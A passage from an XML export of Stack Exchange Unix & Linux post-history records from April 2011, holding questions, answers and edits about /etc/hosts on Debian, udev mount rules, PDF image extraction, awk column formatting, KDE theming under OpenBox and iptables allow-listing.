6in6 tunnels][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.systemajik.com/blog/implementing-ipv6-6to4-on-openwrt/&#xD;&#xA;  [2]: http://www.systemajik.com/blog/implementing-ipv6-part-2/&#xD;&#xA;  [3]: http://shorewall.net/&#xD;&#xA;  [4]: http://www.shorewall.net/6to4.htm" />
  <row Id="28815" PostHistoryTypeId="2" PostId="11837" RevisionGUID="29f0276e-dbe8-4eac-96ab-9fb4869516ad" CreationDate="2011-04-22T20:08:35.403" UserId="1375" Text="I've setup a pure OpenBox system with no specific desktop environment like Gnome, KDE, or Xfce, etc... It works well, and I have been able to customise the desktop's appearance with software like ObConf (for OpenBox themes) and LXAppearance (for GTK themes). However, I have recently installed DigiKam which is a KDE application, and its GUI does not follow what I've setup for OpenBox and GTK.&#xD;&#xA;&#xD;&#xA;Question: How can I customise the theme in Digikam (and other KDE apps that I might use) in my system? Is there a standalone equivalent to ObConf and LXAppearance for KDE? Or is there another way to do it? Thanks." />
  <row Id="28816" PostHistoryTypeId="1" PostId="11837" RevisionGUID="29f0276e-dbe8-4eac-96ab-9fb4869516ad" CreationDate="2011-04-22T20:08:35.403" UserId="1375" Text="KDE theme manager in pure OpenBox WM?" />
  <row Id="28817" PostHistoryTypeId="3" PostId="11837" RevisionGUID="29f0276e-dbe8-4eac-96ab-9fb4869516ad" CreationDate="2011-04-22T20:08:35.403" UserId="1375" Text="ékdeàégtkàéopenboxàéthemeàécustomiseà" />
  <row Id="28818" PostHistoryTypeId="2" PostId="11838" RevisionGUID="4acd3968-c5c7-466d-9db6-b1c43688a1a7" CreationDate="2011-04-22T20:15:22.243" UserId="6803" Text="Probably `xbindkeys` is the better option. I think it's more useful to use Super_L (windows key) in combination with other key in order to fire a command. For example you could recreate the windows behaviour of firing something similar to what you want, by assigning &lt;kbd&gt;Super_L&lt;/kbd&gt; + &lt;kbd&gt;r&lt;/kbd&gt; to &quot;Run application&quot;." />
  <row Id="28819" PostHistoryTypeId="2" PostId="11839" RevisionGUID="4bb351f4-3816-4384-9fdf-d401ea7eb112" CreationDate="2011-04-22T20:40:09.123" UserId="4846" Text="Hi there&#xD;&#xA;&#xD;&#xA;Is there any way to connect to a device without using SSH?&#xD;&#xA;&#xD;&#xA;I've broken the keyboard on my nokia N900 and want to get access to it. It's gotta be possible?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Tom" />
  <row Id="28820" PostHistoryTypeId="1" PostId="11839" RevisionGUID="4bb351f4-3816-4384-9fdf-d401ea7eb112" CreationDate="2011-04-22T20:40:09.123" UserId="4846" Text="Connect to linux device without SSH" />
  <row Id="28821" PostHistoryTypeId="3" PostId="11839" RevisionGUID="4bb351f4-3816-4384-9fdf-d401ea7eb112" CreationDate="2011-04-22T20:40:09.123" UserId="4846" Text="élinuxàésshà" />
  <row Id="28822" PostHistoryTypeId="2" PostId="11840" RevisionGUID="7e205bdb-5df2-4006-94a1-b5035261984f" CreationDate="2011-04-22T20:42:59.813" UserId="5661" Text="The concept of operators origins from the second generation of computers. Back at that time, programmers used to write code on punch cards, then deliver the cards to an operator - professional staff with access to the insanely expensive mainframe machine. The operator was responsible for putting the cards on the machine for execution. When the execution was done, the operator would collect the output and the cards and deliver them back to the programmer. &#xD;&#xA;&#xD;&#xA;During the third generation, when the first UNIXes appeared, the need for the original operators was eliminated, since time-sharing has already been introduced and programmers could write code using their own dumb terminals. Thus I will agree with Gilles and Matt that the user operator on UNIX systems was meant for doing low privileged administrative tasks (replacing tapes, backups, maintenance, etc.)." />
  <row Id="28823" PostHistoryTypeId="2" PostId="11841" RevisionGUID="2a0dfa85-31d8-476e-841c-e562aec89a8d" CreationDate="2011-04-22T20:45:15.770" UserId="2421" Text="It's not clear what you mean by &quot;quality loss&quot;.  That could mean a lot of different things.  Could you post some samples to illustrate?  Perhaps cut the same section out of the poor quality and good quality versions (as a PNG to avoid further quality loss).&#xD;&#xA;&#xD;&#xA;Perhaps you need to use `-density` to do the conversion at a higher dpi:&#xD;&#xA;&#xD;&#xA;    convert -density 300 file.pdf page_%04d.jpg&#xD;&#xA;&#xD;&#xA;(You can prepend `-units PixelsPerInch` or `-units PixelsPerCentimeter` if necessary.  My copy defaults to ppi.)" />
  <row Id="28824" PostHistoryTypeId="2" PostId="11842" RevisionGUID="160cd115-8756-4caf-9109-ee5884dae3d2" CreationDate="2011-04-22T20:45:26.613" UserId="5289" Text="Looking at the gscan2pdf source code I noticed that it uses pdfimages. So `pdfimages file.pdf page` would result in `page-001.pnm, page-002.pnm` etc." />
  <row Id="28825" PostHistoryTypeId="2" PostId="11843" RevisionGUID="7e54403a-6bab-44f1-bccc-d2232ef1f017" CreationDate="2011-04-22T20:46:52.867" UserId="1925" Text="There are lots of ways to do it, but the usually involve setting it up ahead of time. Do you perchance have a serial console enabled that you can reach with a USB cable or something?&#xD;&#xA;&#xD;&#xA;Otherwise I doubt there is anything open unless you planned for it ahead of time." />
  <row Id="28826" PostHistoryTypeId="5" PostId="11839" RevisionGUID="d5f24a18-17f7-47f2-bdea-9141d1366289" CreationDate="2011-04-22T20:48:08.223" UserId="1925" Comment="Remove salutation and signature per FAQ." Text="Is there any way to connect to a device without using SSH?&#xD;&#xA;&#xD;&#xA;I've broken the keyboard on my Nokia N900 and want to get access to it. It's gotta be possible?" />
  <row Id="28827" PostHistoryTypeId="24" PostId="11839" RevisionGUID="d5f24a18-17f7-47f2-bdea-9141d1366289" CreationDate="2011-04-22T20:48:08.223" Comment="Proposed by 1925 approved by -1 edit id of 314" />
  <row Id="28828" PostHistoryTypeId="5" PostId="11839" RevisionGUID="926b28de-0059-43a1-9a88-73e0f6598ffe" CreationDate="2011-04-22T20:48:08.910" UserId="73" Comment="deleted 4 characters in body; edited tags" Text="Is there any way to connect to a device without using SSH? I've broken the keyboard on my Nokia N900 and want to get access to it. It must be possible?&#xD;&#xA;" />
  <row Id="28829" PostHistoryTypeId="6" PostId="11839" RevisionGUID="926b28de-0059-43a1-9a88-73e0f6598ffe" CreationDate="2011-04-22T20:48:08.910" UserId="73" Comment="deleted 4 characters in body; edited tags" Text="élinuxàésshàénokiaön900à" />
  <row Id="28830" PostHistoryTypeId="5" PostId="11842" RevisionGUID="3f44ef12-6cb5-47e2-a90b-895d39a09052" CreationDate="2011-04-22T20:51:35.033" UserId="5289" Comment="edited body" Text="Looking at the gscan2pdf source code I noticed that it uses pdfimages. So `pdfimages file.pdf page` would result in `page-001.ppm, page-002.ppm` etc." />
  <row Id="28831" PostHistoryTypeId="2" PostId="11844" RevisionGUID="918b96db-1cad-41ee-9525-cb5440748b1a" CreationDate="2011-04-22T20:53:21.727" UserId="4671" Text="I was trying to get a perl script that contacts a PostgreSQL database to work on a server. This script was mysteriously failing. I then realised that localhost was not in the `/etc/hosts` file.&#xD;&#xA;&#xD;&#xA;The file for this machine (currently running Debian lenny) currently looks like&#xD;&#xA;&#xD;&#xA;    127.0.0.1       machinename.domain   machinename&#xD;&#xA;    xxx.xx.x.xxx    machinename.domain   machinename&#xD;&#xA;&#xD;&#xA;The file for my current home machine, which is a slightly older installion (currently running Debian squeeze) is&#xD;&#xA;&#xD;&#xA;    127.0.0.1       machinename          localhost&#xD;&#xA;    127.0.1.1       machinename.domain   machinename&#xD;&#xA;&#xD;&#xA;I've kept /etc under version control for my machines (using etckeeper) for some time, and I see that for this server, the following change was made by some mastermind (possibly myself) on Dec 17th 2009.&#xD;&#xA;&#xD;&#xA;    -127.0.0.1      localhost&#xD;&#xA;    +127.0.0.1      machinename.domain  machinename&#xD;&#xA;&#xD;&#xA;I've wondered before why this file is set up the way this is, but the answer is not obvious. Some questions:&#xD;&#xA;&#xD;&#xA; 1. Why 127.0.1.1? This might be a&#xD;&#xA;    Debian-specific bit of history. I&#xD;&#xA;    did a bit of searching on the net,&#xD;&#xA;    and found some vague mutterings about&#xD;&#xA;    Gnome, but little of any substance.&#xD;&#xA;&#xD;&#xA; 2. Where in Debian is the template this file is&#xD;&#xA;    set from?&#xD;&#xA;&#xD;&#xA; 3. Is there currently considered to be&#xD;&#xA;    a correct/best form for this file?&#xD;&#xA;&#xD;&#xA; 4. Is the order of the names in the&#xD;&#xA;    line significant? I hope not.&#xD;&#xA;&#xD;&#xA;More generally, what is the explanation of why these two lines are structured the way they are? &#xD;&#xA;&#xD;&#xA;For now, I think I'll change the server /etc/hosts to&#xD;&#xA;&#xD;&#xA;    127.0.0.1       machinename.domain  machinename localhost&#xD;&#xA;    xxx.xx.x.xxx    machinename.domain  machinename&#xD;&#xA;&#xD;&#xA;Comments?" />
  <row Id="28832" PostHistoryTypeId="1" PostId="11844" RevisionGUID="918b96db-1cad-41ee-9525-cb5440748b1a" CreationDate="2011-04-22T20:53:21.727" UserId="4671" Text="/etc/hosts for Debian" />
  <row Id="28833" PostHistoryTypeId="3" PostId="11844" RevisionGUID="918b96db-1cad-41ee-9525-cb5440748b1a" CreationDate="2011-04-22T20:53:21.727" UserId="4671" Text="édebianàénetworkingàéhostsà" />
  <row Id="28834" PostHistoryTypeId="5" PostId="11844" RevisionGUID="c9b1df63-6f5e-41b0-b055-12417bd037d9" CreationDate="2011-04-22T20:58:31.990" UserId="4671" Comment="added 142 characters in body; added 36 characters in body" Text="I was trying to get a perl script that contacts a PostgreSQL database to work on a server. This script was mysteriously failing. I then realised that localhost was not in the `/etc/hosts` file.&#xD;&#xA;&#xD;&#xA;The file for this machine (currently running Debian lenny) currently looks like&#xD;&#xA;&#xD;&#xA;    127.0.0.1       machinename.domain   machinename&#xD;&#xA;    xxx.xx.x.xxx    machinename.domain   machinename&#xD;&#xA;&#xD;&#xA;The xxx.xx.x.xxx is the IP address. The file for my current home machine, which is a slightly older installion (currently running Debian squeeze) is&#xD;&#xA;&#xD;&#xA;    127.0.0.1       machinename          localhost&#xD;&#xA;    127.0.1.1       machinename.domain   machinename&#xD;&#xA;&#xD;&#xA;My home machine sits behind a router and is not directly exposted to the internet. In any case, I'm on DSL and have no static IP address. &#xD;&#xA;&#xD;&#xA;I've kept /etc under version control for my machines (using etckeeper) for some time, and I see that for this server, the following change was made by some mastermind (possibly myself) on Dec 17th 2009.&#xD;&#xA;&#xD;&#xA;    -127.0.0.1      localhost&#xD;&#xA;    +127.0.0.1      machinename.domain  machinename&#xD;&#xA;&#xD;&#xA;I've wondered before why this file is set up the way this is, but the answer is not obvious. Some questions:&#xD;&#xA;&#xD;&#xA; 1. Why 127.0.1.1? This might be a&#xD;&#xA;    Debian-specific bit of history. I&#xD;&#xA;    did a bit of searching on the net,&#xD;&#xA;    and found some vague mutterings about&#xD;&#xA;    Gnome, but little of any substance.&#xD;&#xA;&#xD;&#xA; 2. Where in Debian is the template this file is&#xD;&#xA;    set from?&#xD;&#xA;&#xD;&#xA; 3. Is there currently considered to be&#xD;&#xA;    a correct/best form for this file?&#xD;&#xA;&#xD;&#xA; 4. Is the order of the names in the&#xD;&#xA;    line significant? I hope not.&#xD;&#xA;&#xD;&#xA;More generally, what is the explanation of why these two lines are structured the way they are? &#xD;&#xA;&#xD;&#xA;For now, I think I'll change the server /etc/hosts to&#xD;&#xA;&#xD;&#xA;    127.0.0.1       machinename.domain  machinename localhost&#xD;&#xA;    xxx.xx.x.xxx    machinename.domain  machinename&#xD;&#xA;&#xD;&#xA;Comments?" />
  <row Id="28835" PostHistoryTypeId="25" PostId="11835" RevisionGUID="bb119970-35d2-4080-ba7e-c27e38e4e43c" CreationDate="2011-04-22T21:09:11.020" Comment="http://twitter.com/#!/StackUnix/status/61537051908112384" />
  <row Id="28836" PostHistoryTypeId="2" PostId="11845" RevisionGUID="8fd00d8f-d93f-4887-b26e-11dfe42b6968" CreationDate="2011-04-22T21:10:49.923" UserId="885" Text="The system component that reacts to the connection of a removable device is [Udev](http://en.wikipedia.org/wiki/Udev), as mentioned by [SHW](http://unix.stackexchange.com/questions/11807/automatizing-the-sequence-of-mounting-commands/11809#11809). Even the [udev tutorial](http://reactivated.net/writing_udev_rules.html) can be a little daunting; I'll show you a couple of examples.&#xD;&#xA;&#xD;&#xA;There are two steps involved: associating a device file (e.g. `/dev/sdc`) with the hardware device, and mounting the device to access the filesystem. Udev's job is the first step, though you can tell it to run an external command such as `mount`.&#xD;&#xA;&#xD;&#xA;For known removable devices, I like to use a dedicated device name under `/dev/removable` (that directory name is a personal convention). The following udev rules (to be placed in `/etc/udev/rules.d/my_removable_disks.rules`) create symbolic links with known names for two disks, both identified by a property of the filesystem on their partition 1:&#xD;&#xA;&#xD;&#xA;    KERNEL==&quot;sd?&quot;, PROGRAM==&quot;/sbin/blkid -o value -s UUID %N1&quot;, RESULT==&quot;1234-5678&quot;, SYMLINK+=&quot;removable/foo&quot;&#xD;&#xA;    KERNEL==&quot;sd?&quot;, PROGRAM==&quot;/sbin/blkid -o value -s LABEL %N1&quot;, RESULT==&quot;Joe's disk&quot;, SYMLINK+=&quot;removable/joe&quot;&#xD;&#xA;&#xD;&#xA;Older versions of udev may need `/udev/lib/vol_id -u %N1` (for the UUID, `-l` for the label) instead of the `blkid` call. There are more things you can match on, e.g. `ATTRS{vendor}==&quot;Yoyodine&quot;, ATTRS{serial}==&quot;XYZZY12345PDQ97&quot;` (instead of `PROGRAM==…, RESULT==…`) to match a device's vendor and serial number.&#xD;&#xA;&#xD;&#xA;Then you can use a line like this in `/etc/fstab`:&#xD;&#xA;&#xD;&#xA;    /dev/removable/joe  /media/joe  vfat  noauto,user&#xD;&#xA;&#xD;&#xA;If you prefer an automatic mount, you can add something like `, RUN=&quot;mkdir /media/foo &amp;&amp; mount /dev/removable/foo /media/foo&quot;` to the udev line. Don't forget to `umount /media/foo` before unplugging.&#xD;&#xA;" />
  <row Id="28837" PostHistoryTypeId="2" PostId="11846" RevisionGUID="f660477a-fd21-4457-bb01-59c83f82d9b5" CreationDate="2011-04-22T21:16:31.470" UserId="1762" Text="KDE apps are written using Qt, so you need to use a Qt configuration tool (package [qt4-qtconfig][1] in Debian/Ubuntu)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/sid/qt4-qtconfig" />
  <row Id="28838" PostHistoryTypeId="5" PostId="11844" RevisionGUID="c58343a7-a649-4d32-a8af-58e9544917da" CreationDate="2011-04-22T21:19:28.297" UserId="4671" Comment="another typo fix and minor formatting changes" Text="I was trying to get a perl script that contacts a PostgreSQL database to work on a server. This script was mysteriously failing. I then realised that `localhost` was not in the `/etc/hosts` file.&#xD;&#xA;&#xD;&#xA;The file for this machine (currently running Debian lenny) currently looks like&#xD;&#xA;&#xD;&#xA;    127.0.0.1       machinename.domain   machinename&#xD;&#xA;    xxx.xx.x.xxx    machinename.domain   machinename&#xD;&#xA;&#xD;&#xA;The `xxx.xx.x.xxx` is the IP address. The file for my current home machine, which is a slightly older installation (currently running Debian squeeze) is&#xD;&#xA;&#xD;&#xA;    127.0.0.1       machinename          localhost&#xD;&#xA;    127.0.1.1       machinename.domain   machinename&#xD;&#xA;&#xD;&#xA;My home machine sits behind a router and is not directly exposed to the internet. In any case, I'm on DSL and have no static IP address. &#xD;&#xA;&#xD;&#xA;I've kept `/etc` under version control for my machines (using etckeeper) for some time, and I see that for this server, the following change was made by some mastermind (possibly myself) on Dec 17th 2009.&#xD;&#xA;&#xD;&#xA;    -127.0.0.1      localhost&#xD;&#xA;    +127.0.0.1      machinename.domain  machinename&#xD;&#xA;&#xD;&#xA;I've wondered before why this file is set up the way this is, but the answer is not obvious. Some questions:&#xD;&#xA;&#xD;&#xA; 1. Why `127.0.1.1`? This might be a&#xD;&#xA;    Debian-specific bit of history. I&#xD;&#xA;    did a bit of searching on the net,&#xD;&#xA;    and found some vague mutterings about&#xD;&#xA;    Gnome, but little of any substance.&#xD;&#xA;&#xD;&#xA; 2. Where in Debian is the template this file is&#xD;&#xA;    set from?&#xD;&#xA;&#xD;&#xA; 3. Is there currently considered to be&#xD;&#xA;    a correct/best form for this file?&#xD;&#xA;&#xD;&#xA; 4. Is the order of the names in the&#xD;&#xA;    line significant? I hope not.&#xD;&#xA;&#xD;&#xA;More generally, what is the explanation of why these two lines are structured the way they are? &#xD;&#xA;&#xD;&#xA;For now, I think I'll change the server `/etc/hosts` to&#xD;&#xA;&#xD;&#xA;    127.0.0.1       machinename.domain  machinename localhost&#xD;&#xA;    xxx.xx.x.xxx    machinename.domain  machinename&#xD;&#xA;&#xD;&#xA;Comments?" />
  <row Id="28839" PostHistoryTypeId="2" PostId="11847" RevisionGUID="8a720c2f-01fb-405f-bd68-8506b21aff32" CreationDate="2011-04-22T21:23:03.897" UserId="5931" Text="On my system, I have the following in `/var/lib/dpkg/info/netbase.postinst`:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bsh --&gt;&#xD;&#xA;&#xD;&#xA;    create_hosts_file() {&#xD;&#xA;      if [ -e /etc/hosts ]; then return 0; fi&#xD;&#xA;    &#xD;&#xA;      cat &gt; /etc/hosts &lt;&lt;-EOF&#xD;&#xA;            127.0.0.1       localhost&#xD;&#xA;            ::1             localhost ip6-localhost ip6-loopback&#xD;&#xA;            fe00::0         ip6-localnet&#xD;&#xA;            ff00::0         ip6-mcastprefix&#xD;&#xA;            ff02::1         ip6-allnodes&#xD;&#xA;            ff02::2         ip6-allrouters&#xD;&#xA;    &#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;My netbase version is 4.45. &#xD;&#xA;&#xD;&#xA;I would expect that the first name on the line will be returned for a reverse lookup of the IP address, otherwise I doubt the order matters." />
  <row Id="28840" PostHistoryTypeId="2" PostId="11848" RevisionGUID="febbc1b7-44f5-4750-9fd0-3627d2a9da48" CreationDate="2011-04-22T21:24:22.033" UserId="3611" Text="This problem was addressed at http://vim.wikia.com/wiki/Search_across_multiple_lines. Included is a function which can do what I need.&#xD;&#xA;&#xD;&#xA;    function! SearchMultiLine(bang, ...)&#xD;&#xA;      if a:0 &gt; 0&#xD;&#xA;        let sep = (a:bang) ? '\_W\+' : '\_s\+'&#xD;&#xA;        let @/ = join(a:000, sep)&#xD;&#xA;      endif&#xD;&#xA;    endfunction&#xD;&#xA;    command! -bang -nargs=* -complete=tag S call SearchMultiLine(&lt;bang&gt;0, &lt;f-args&gt;)|normal! /&lt;C-R&gt;/&lt;CR&gt;&#xD;&#xA;&#xD;&#xA;Then you can do a multi-line search using `:S hello world` and it will convert that to `hello\s\+world` and search for it. Another nice feature is that this will also add this new search to the search history. This allows you to go back and modify the search using `q/` if you need. It can also be used to do substitution with `:%s//new thing/g`. The downside to this is that it doesn't use `incsearch` if you have it enabled." />
  <row Id="28841" PostHistoryTypeId="5" PostId="11840" RevisionGUID="9dc6ad3d-5b54-467a-8859-0d3780c68d4d" CreationDate="2011-04-22T21:30:20.647" UserId="885" Comment="Gerald != Gilles" Text="The concept of operators origins from the second generation of computers. Back at that time, programmers used to write code on punch cards, then deliver the cards to an operator - professional staff with access to the insanely expensive mainframe machine. The operator was responsible for putting the cards on the machine for execution. When the execution was done, the operator would collect the output and the cards and deliver them back to the programmer. &#xD;&#xA;&#xD;&#xA;During the third generation, when the first UNIXes appeared, the need for the original operators was eliminated, since time-sharing has already been introduced and programmers could write code using their own dumb terminals. Thus I will agree with [Gerald](http://unix.stackexchange.com/questions/11638/what-is-the-point-of-the-operator-user/11722#11722) and [Matt](http://unix.stackexchange.com/questions/11638/what-is-the-point-of-the-operator-user/11643#11643) that the user operator on UNIX systems was meant for doing low privileged administrative tasks (replacing tapes, backups, maintenance, etc.)." />
  <row Id="28842" PostHistoryTypeId="5" PostId="11841" RevisionGUID="ad225605-6258-45ca-b191-d3c8f266e5ce" CreationDate="2011-04-22T21:37:33.390" UserId="2421" Comment="explain pdfimages; added 20 characters in body; deleted 5 characters in body; deleted 1 characters in body" Text="It's not clear what you mean by &quot;quality loss&quot;.  That could mean a lot of different things.  Could you post some samples to illustrate?  Perhaps cut the same section out of the poor quality and good quality versions (as a PNG to avoid further quality loss).&#xD;&#xA;&#xD;&#xA;Perhaps you need to use `-density` to do the conversion at a higher dpi:&#xD;&#xA;&#xD;&#xA;    convert -density 300 file.pdf page_%04d.jpg&#xD;&#xA;&#xD;&#xA;(You can prepend `-units PixelsPerInch` or `-units PixelsPerCentimeter` if necessary.  My copy defaults to ppi.)&#xD;&#xA;&#xD;&#xA;**Update:**  As you pointed out, `gscan2pdf` (the way you're using it) is just a wrapper for `pdfimages` (from [poppler][1]).  `pdfimages` does not do the same thing that `convert` does when given a PDF as input.&#xD;&#xA;&#xD;&#xA;`convert` takes the PDF, renders it at some resolution, and uses the resulting bitmap as the source image.&#xD;&#xA;&#xD;&#xA;`pdfimages` looks through the PDF for embedded bitmap images and exports each one to a file.  It simply ignores any text or vector drawing commands in the PDF.&#xD;&#xA;&#xD;&#xA;As a result, if what you have is a PDF that's just a wrapper around a series of bitmaps, `pdfimages` will do a much better job of extracting them, because it gets you the raw data at its original size.  You probably also want to use the `-j` option to `pdfimages`, because a PDF can contain raw JPEG data.  By default, `pdfimages` converts everything to PNM format.&#xD;&#xA;&#xD;&#xA;So, try&#xD;&#xA;&#xD;&#xA;    pdfimages -j file.pdf page&#xD;&#xA;&#xD;&#xA;You may or may not need to follow that with a `convert` to `.jpg` step (depending on what bitmap format the PDF was using).&#xD;&#xA;&#xD;&#xA;  [1]: http://poppler.freedesktop.org/" />
  <row Id="28843" PostHistoryTypeId="2" PostId="11849" RevisionGUID="aee1a483-5ce5-48f4-8545-0639af7f74d3" CreationDate="2011-04-22T21:53:35.623" UserId="3445" Text="Is there an easy way to split comma-delimited lines of text into columns with some of the columns right-justified?&#xD;&#xA;&#xD;&#xA;As a bonus, it would be nice to format numbers, but this probably isn't too hard with sed." />
  <row Id="28844" PostHistoryTypeId="1" PostId="11849" RevisionGUID="aee1a483-5ce5-48f4-8545-0639af7f74d3" CreationDate="2011-04-22T21:53:35.623" UserId="3445" Text="Split a line into columns with some of the columns right-justified?" />
  <row Id="28845" PostHistoryTypeId="3" PostId="11849" RevisionGUID="aee1a483-5ce5-48f4-8545-0639af7f74d3" CreationDate="2011-04-22T21:53:35.623" UserId="3445" Text="élinuxà" />
  <row Id="28846" PostHistoryTypeId="5" PostId="11841" RevisionGUID="0900dc09-1ac2-4bbc-ae2f-70f2996946c7" CreationDate="2011-04-22T21:57:14.753" UserId="2421" Comment="tested results" Text="It's not clear what you mean by &quot;quality loss&quot;.  That could mean a lot of different things.  Could you post some samples to illustrate?  Perhaps cut the same section out of the poor quality and good quality versions (as a PNG to avoid further quality loss).&#xD;&#xA;&#xD;&#xA;Perhaps you need to use `-density` to do the conversion at a higher dpi:&#xD;&#xA;&#xD;&#xA;    convert -density 300 file.pdf page_%04d.jpg&#xD;&#xA;&#xD;&#xA;(You can prepend `-units PixelsPerInch` or `-units PixelsPerCentimeter` if necessary.  My copy defaults to ppi.)&#xD;&#xA;&#xD;&#xA;**Update:**  As you pointed out, `gscan2pdf` (the way you're using it) is just a wrapper for `pdfimages` (from [poppler][1]).  `pdfimages` does not do the same thing that `convert` does when given a PDF as input.&#xD;&#xA;&#xD;&#xA;`convert` takes the PDF, renders it at some resolution, and uses the resulting bitmap as the source image.&#xD;&#xA;&#xD;&#xA;`pdfimages` looks through the PDF for embedded bitmap images and exports each one to a file.  It simply ignores any text or vector drawing commands in the PDF.&#xD;&#xA;&#xD;&#xA;As a result, if what you have is a PDF that's just a wrapper around a series of bitmaps, `pdfimages` will do a much better job of extracting them, because it gets you the raw data at its original size.  You probably also want to use the `-j` option to `pdfimages`, because a PDF can contain raw JPEG data.  By default, `pdfimages` converts everything to PNM format, and converting JPEG &gt; PPM &gt; JPEG is a lossy process.&#xD;&#xA;&#xD;&#xA;So, try&#xD;&#xA;&#xD;&#xA;    pdfimages -j file.pdf page&#xD;&#xA;&#xD;&#xA;You may or may not need to follow that with a `convert` to `.jpg` step (depending on what bitmap format the PDF was using).&#xD;&#xA;&#xD;&#xA;I tried this command on a PDF that I had made myself from a sequence of JPEG images.  The extracted JPEGs were byte-for-byte identical to the source images.  You can't get higher quality than that.&#xD;&#xA;&#xD;&#xA;  [1]: http://poppler.freedesktop.org/" />
  <row Id="28847" PostHistoryTypeId="2" PostId="11850" RevisionGUID="47164f30-7533-4683-ba06-102ab5263032" CreationDate="2011-04-22T21:57:18.307" UserId="6874" Text="Yes, there is OpenOffice.org Impress, LibreOffice Impress (which are pretty much the same thing) and there is KPresenter as a part of KOffice.org suite mainly for KDE although it works in GNOME. I would recommend you using a online based presentation editor which I find to be extremely easy and very similar to Keynote. It's called [SlideRocket][1], it's free and requires only a Google account. And since it's web based, you can use it on any platform such as Windows, any Linux distro and Mac OS X.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sliderocket.com/" />
  <row Id="28848" PostHistoryTypeId="2" PostId="11851" RevisionGUID="5a935456-463c-4350-a96b-3904b0a8fdc2" CreationDate="2011-04-22T22:40:41.787" UserId="6707" Text="How do I allow certain ips and block all other connection in iptables?" />
  <row Id="28849" PostHistoryTypeId="1" PostId="11851" RevisionGUID="5a935456-463c-4350-a96b-3904b0a8fdc2" CreationDate="2011-04-22T22:40:41.787" UserId="6707" Text="iptables: allow certain ips and block all other connection" />
  <row Id="28850" PostHistoryTypeId="3" PostId="11851" RevisionGUID="5a935456-463c-4350-a96b-3904b0a8fdc2" CreationDate="2011-04-22T22:40:41.787" UserId="6707" Text="élinuxàésecurityàéiptablesà" />
  <row Id="28851" PostHistoryTypeId="2" PostId="11852" RevisionGUID="9b8121df-19ba-4543-8031-d4db94f3de8d" CreationDate="2011-04-22T23:05:43.040" UserId="885" Text="[Awk](http://pubs.opengroup.org/onlinepubs/009695399/utilities/awk.html) and the `%42s` printf format comes to mind. Here's a simple script to get you started. Setting `width[i]` to a positive value in the `BEGIN` clause makes that column have the given width, left-aligned. If `width[i]` is negative, then column `i` is right-aligned and has the width `-width[i]`. This script doesn't handle wide fields intelligently, all subsequent columns are just shifted right on that line.&#xD;&#xA;&#xD;&#xA;    awk -F, -vOFS= '&#xD;&#xA;    BEGIN {width[1]=-10; width[2]=8;}&#xD;&#xA;    { for (i=1; i&lt;=NF; i++) {$i = sprintf(&quot;%*s&quot;, width[i], $i)}&#xD;&#xA;      print }'&#xD;&#xA;&#xD;&#xA;If you have numeric fields, you can use other [printf formats](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap05.html).&#xD;&#xA;&#xD;&#xA;If you have the BSD utility [`column`](http://www.freebsd.org/cgi/man.cgi?query=column&amp;sektion=1) (Debian ships it, I don't know about other Linux distributions), you can easily format things in columns with `column -t -s ,`. The nice thing about `column` is that it determines the column width automatically. However, it doesn't do right-hand formatting; while you can get it with some post-processing, I don't know if the complexity is worth it.&#xD;&#xA;&#xD;&#xA;You could do everything in Perl. Its [format](http://perldoc.perl.org/perlform.html) facility may help.&#xD;&#xA;&#xD;&#xA;A more powerful approach to table formatting with common unix tools is [`tbl`](http://linux.die.net/man/1/tbl), which is the part of *roff (the man page formatter) that handles tables. But that's also more complex because you need to convert the input to roff.&#xD;&#xA;&#xD;&#xA;Yet another possible tool is the text mode browser [w3m](http://w3m.sourceforge.net/), which is good at table rendering. Here, you'd have to convert the input to HTML.&#xD;&#xA;" />
  <row Id="28852" PostHistoryTypeId="6" PostId="11849" RevisionGUID="cbd9407e-cdc8-4a71-bcc3-1e8b3bafe5b5" CreationDate="2011-04-22T23:05:58.187" UserId="885" Comment="edited tags" Text="étextöprocessingàétableà" />
  <row Id="28853" PostHistoryTypeId="2" PostId="11853" RevisionGUID="1b2d6976-8deb-4a3c-99dc-64b80a2981ec" CreationDate="2011-04-22T23:10:03.160" UserId="3445" Text="Ended up figuring this out myself. Instead of `column`, use `awk` to produce columns. For example, if foo.txt has lines of the form &quot;bar,36,17.34566&quot;, you could do something like&#xD;&#xA;&#xD;&#xA;    cat foo.txt | awk -F, '{printf &quot;%-20s %20d %20.2f\n&quot;, $1, $2, $3 }'&#xD;&#xA;&#xD;&#xA;to produce columns of width 20, with the first column left-justified, the other two columns right-justified, and the last column with two decimal places of precision." />
  <row Id="28854" PostHistoryTypeId="2" PostId="11854" RevisionGUID="747472a9-fb70-4523-bf44-eaba5015ba6f" CreationDate="2011-04-22T23:18:36.310" UserId="885" Text="Here's an (untested!) example that blocks *incoming* connections only. Connections over the loopback interface, coming from 192.168.3.x, ICMP, or to the SSH port are allowed. All other connections are rejected.&#xD;&#xA;&#xD;&#xA;    iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xD;&#xA;    iptables -A INPUT -p icmp -j ACCEPT&#xD;&#xA;    iptables -A INPUT -p tcp --dport 22 -j ACCEPT&#xD;&#xA;    iptables -A INPUT -s 192.168.3.0/24 -j ACCEPT&#xD;&#xA;    iptables -A INPUT -i lo -j ACCEPT&#xD;&#xA;    iptables -A INPUT -j REJECT&#xD;&#xA;" />
  <row Id="28855" PostHistoryTypeId="6" PostId="11851" RevisionGUID="8836b06b-9228-426e-88a8-4e4cc5a4240b" CreationDate="2011-04-22T23:18:49.290" UserId="885" Comment="edited tags" Text="élinuxàéiptablesà" />
